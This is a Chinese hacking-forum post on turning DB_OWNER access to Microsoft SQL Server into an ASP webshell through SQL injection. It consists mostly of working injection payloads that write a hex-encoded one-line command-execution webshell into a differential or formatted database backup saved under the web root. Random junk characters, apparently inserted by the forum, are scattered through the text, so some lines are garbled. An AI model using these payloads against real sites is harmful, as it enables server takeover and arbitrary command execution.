中国网络渗透测试联盟

标题: DB_OWNER权限得到webshell的改进方法 [打印本页]
作者: admin    时间: 2012-12-31 09:57
标题: DB_OWNER权限得到webshell的改进方法
减少备份文件大小，得到可执行的webshell成功率提高不少4 T: \  b$ Y* n) v) o

1 ~, ^3 n0 _2 x0 w一利用差异备份$ b2 Z" ?  l! b3 g3 [
加一个参数WITH DIFFERENTIAL0 [5 j9 i3 j; c, g* H$ e

6 B/ i9 K0 m6 u5 k+ |declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s% Q' A" a4 e$ Q. B( G
create table [dbo].[xiaolu] ([cmd] [image]);7 T% ?' T  e+ |' ?2 T+ t
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)6 A! F" \; T3 W* s
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
' p6 Z6 c0 [/ ^8 b* Q' W* F9 K& d
9 T! d' ]1 \8 a1 T; o9 `二利用完全FORMAT# B: H0 [6 s' G) n
加一个参数WITH FROMAT3 b# C+ @' B1 V) A/ `; y8 K1 e# @
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以& Z0 e8 k: E& @' g4 X; @, V

  Q" F* J1 Q# s, K9 Q( V9 o: c6 udeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s- s( {/ N# |$ a2 h- O6 ?
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
3 y) d0 W5 c+ f& Bdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT- Z1 B( U& G' b0 [7 O- I8 q" ?' f
+ ~' T3 G7 I* q7 A4 y. k4 g
总的来说就是那么简单几句,下面以备份数据库model为例子% F0 r; R8 z  v% S
8 ^, a) u9 ^9 E! }0 s, v
id=1;use model create table cmd(str image);insert into cmd(str) values (”)
( I6 W# D0 D. L1 U4 Z% z1 _. {. K' |0 t
id=1;backup database model to disk=’你的路径‘ with differential,format;–& U- [+ _$ `/ p

& J8 N7 I3 Z8 @$ C



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2